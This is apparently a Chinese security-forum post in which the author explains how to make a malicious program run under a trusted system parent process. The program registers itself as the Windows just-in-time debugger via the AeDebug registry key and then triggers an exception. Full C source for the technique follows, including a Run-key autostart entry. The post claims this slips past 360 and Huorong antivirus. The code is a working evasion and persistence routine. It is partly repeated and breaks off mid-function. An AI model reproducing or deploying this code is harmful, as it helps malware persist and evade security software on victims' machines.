2021年4月23日 晴。
结束了这一天的工作,回到酒店准备洗完澡朋友朋友搓两把war3。
洗澡的过程中,蹦出了一个想法:如何优雅简洁地把自身进程变为杀软可信的进程呢?
一直想到洗完澡,突然想到:父进程如果是系统进程比如services.exe csrss.exe之类的不就好了。灵光一闪:即时调试器!如果设置了即时调试器,当程序发生异常后不就会自行启动了!!!
当即我就鸽了朋友开始新建项目。
写好的恶意程序设置为即时调试器时,然后添加自启动。
果然杀软没拦截,而且最顶级的父进程居然是wininit.exe

将恶意进程设为即时调试器,随后触发异常,恶意程序运行。
360安全卫士

火绒

源码仅供学习,不要用做其他用途。
其他用途请自行删删改改。
时间:2021年04月26日10:51
360

火绒

int pass360 = true;
int SetAeDebug()
{
HKEY key = { 0 };
DWORD res = 0;
char CurrentPath[MAX_PATH] = { 0 };
char Shell[MAX_PATH] = { 0 };
char* Debuger = NULL;
GetModuleFileNameA(0, CurrentPath, MAX_PATH);
//%ld 是为了接收触发异常的进程pid。最终命令为 CurrentPath -cmd xxx
Debuger = CurrentPath;
//360联网的话需要这样做
if (pass360)
{
sprintf(Shell, "reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v wowfk /d \"%s\" /f", CurrentPath);
Debuger = Shell;
}
else
{
strncat(CurrentPath, " -cmd %ld", 10);
}
res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\", &key);
if (!res)
{
res = RegSetValueExA(key, "Auto", 0, REG_SZ, (CONST BYTE*)"1", 1);
if (!res)
{
res = strnlen(Debuger, MAX_PATH);
res = RegSetValueExA(key, "Debugger", 0, REG_SZ, (CONST BYTE*)Debuger, res);
res = res == 0;
}
RegCloseKey(key);
}
return res;
}
int SetAutoRun()
{
HKEY key = { 0 };
DWORD res = 0;
char CurrentPath[MAX_PATH] = { 0 };
GetModuleFileNameA(0, CurrentPath, MAX_PATH);
res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
if (!res)
{
strncat(CurrentPath, " -AutoRun", 9);
res = strnlen(CurrentPath, MAX_PATH);
res = RegSetValueExA(key, "wowfk", 0, REG_SZ, (CONST BYTE*)CurrentPath, res);
res = res == 0;
RegCloseKey(key);
}
return res;
}
int KillExceptProcess(char* strPid)
{
int pid = 0;
pid = atoi(strPid);
int res = 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (hProcess)
{
res=TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
return res;
}
int main(int argc,char* argv[])
{
if (argc==1 && SetAeDebug()==1)
{
MessageBoxA(0, "See", "Done", 0);
_asm int 3
}
else if(argc==3 && !pass360)
{
//防止二次执行
if (KillExceptProcess(argv[2]))
{
if (SetAutoRun() == 1)
{
MessageBoxA(0, "AddAutoRunDone", "AutoRun", 0);
}
}
}
}
int pass360 = true;
int SetAeDebug()
{
HKEY key = { 0 };
DWORD res = 0;
char CurrentPath[MAX_PATH] = { 0 };
char Shell[MAX_PATH] = { 0 };
char* Debuger = NULL;
GetModuleFileNameA(0, CurrentPath, MAX_PATH);
//%ld 是为了接收触发异常的进程pid。最终命令为 CurrentPath -cmd xxx
Debuger = CurrentPath;
//360联网的话需要这样做
if (pass360)
{
sprintf(Shell, "reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v wowfk /d \"%s\" /f", CurrentPath);
Debuger = Shell;
}
else
{
strncat(CurrentPath, " -cmd %ld", 10);
}
res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\", &key);
if (!res)
{
res = RegSetValueExA(key, "Auto", 0, REG_SZ, (CONST BYTE*)"1", 1);
if (!res)
{
res = strnlen(Debuger, MAX_PATH);
res = RegSetValueExA(key, "Debugger", 0, REG_SZ, (CONST BYTE*)Debuger, res);
res = res == 0;
}
RegCloseKey(key);
}
return res;
}
int SetAutoRun()
{
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-4-26 10:51
被零加一编辑
,原因: